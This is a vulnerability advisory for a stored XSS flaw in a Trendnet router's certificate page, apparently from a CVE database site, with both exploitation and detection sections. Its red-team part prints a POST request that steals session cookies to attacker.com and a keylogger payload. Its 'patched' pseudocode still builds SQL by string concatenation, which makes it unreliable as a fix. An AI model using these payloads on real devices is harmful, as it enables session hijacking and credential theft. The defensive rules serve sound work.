CVE-2025-25430
Executive Summary
CVE-2025-25430 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Trendnet TEW-929DRU router, specifically in firmware version 1.0.0.10. The flaw resides in the /cbi_addcert.htm page, where the configname parameter is not properly sanitized before being stored and later rendered. An authenticated attacker can inject arbitrary JavaScript code that will execute in the context of any administrator viewing the certificate configuration page. This can lead to session hijacking, credential theft, or further compromise of the router’s administrative interface. As of this report, no official patch has been released by Trendnet, and the vendor has not acknowledged the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via XSS in a router’s admin panel elevates the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the router’s web interface. The /cbi_addcert.htm page is used to add or manage SSL certificates. The configname parameter is intended to hold a user-friendly name for the certificate configuration. However, the application does not sanitize or encode this input before storing it in the router’s configuration database. When an administrator later views the certificate list or configuration page, the stored payload is rendered in the HTML without proper escaping, allowing the injected script to execute.
Attack Flow:
- Attacker authenticates to the router’s web interface (e.g., via default credentials or a previous compromise).
- Attacker navigates to
/cbi_addcert.htmand sets theconfignameparameter to a malicious payload, e.g.,<script>alert('XSS')</script>. - The payload is stored in the router’s configuration.
- When any administrator (or the attacker themselves) views the certificate configuration page, the script executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (PHP-like pseudocode):
// Vulnerable: No sanitization
$configname = $_POST['configname'];
$query = "INSERT INTO cert_config (name) VALUES ('$configname')";
// Later, when rendering:
echo "<td>" . $row['name'] . "</td>";
Patched Code (Secure):
// Secure: Sanitize and encode output
$configname = htmlspecialchars($_POST['configname'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO cert_config (name) VALUES ('$configname')";
// When rendering:
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";
The key difference is the use of htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Trendnet TEW-929DRU router with firmware 1.0.0.10.
- Valid credentials (e.g., admin:admin).
Exploit Steps:
- Log in to the router’s web interface.
- Send a POST request to
/cbi_addcert.htmwith a maliciousconfigname:POST /cbi_addcert.htm HTTP/1.1 Host: 192.168.1.1 Content-Type: application/x-www-form-urlencoded Cookie: [session_cookie] configname=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the certificate configuration page, or trigger it yourself.
- The injected script will execute, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('http://attacker.com/keylog?key=' + e.key);
});
</script>
Blue Team
Detection:
- Monitor HTTP POST requests to
/cbi_addcert.htmcontaining suspicious characters like<,>,script, oronerror. - Look for outbound connections from the router’s admin interface to unknown IPs (e.g., via network logs).
- Check for unexpected JavaScript execution in the browser console when viewing certificate pages.
Hunting:
- Search web server logs for
confignameparameters containing HTML tags. - Use a web application firewall (WAF) to block XSS patterns in the
confignameparameter.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST to
/cbi_addcert.htmwithconfignamecontaining<script>or similar tags. - Outbound HTTP requests from the router to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...).
- HTTP POST to
- File System:
- Modified configuration files in the router’s filesystem containing JavaScript payloads.
- Logs:
- Unusual entries in the router’s access logs showing
confignamewith encoded or raw HTML.
- Unusual entries in the router’s access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_25430_XSS_Payload {
meta:
description = "Detects stored XSS payload in Trendnet TEW-929DRU configname parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25430"
strings:
$xss1 = /configname=.*<script/i
$xss2 = /configname=.*onerror/i
$xss3 = /configname=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Trendnet TEW-929DRU configname Parameter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /cbi_addcert.htm with suspicious configname values
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /cbi_addcert.htm
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of certificate names containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25430 Stored XSS in Trendnet TEW-929DRU"; flow:to_server,established; content:"POST"; http_method; content:"/cbi_addcert.htm"; http_uri; content:"configname"; http_client_body; pcre:"/configname=.*(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable remote administration of the router if not required.
- Change default credentials immediately.
- Restrict access to the admin interface to trusted IPs only.
- Monitor logs for suspicious POST requests to
/cbi_addcert.htm.
Long-term Fix:
- Trendnet must release a firmware update that properly sanitizes the
confignameparameter using output encoding (e.g.,htmlspecialchars()). - Until a patch is available, consider using a reverse proxy or WAF to filter XSS payloads.
Workaround:
- If the certificate configuration feature is not used, block access to
/cbi_addcert.htmvia firewall rules or .htaccess.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.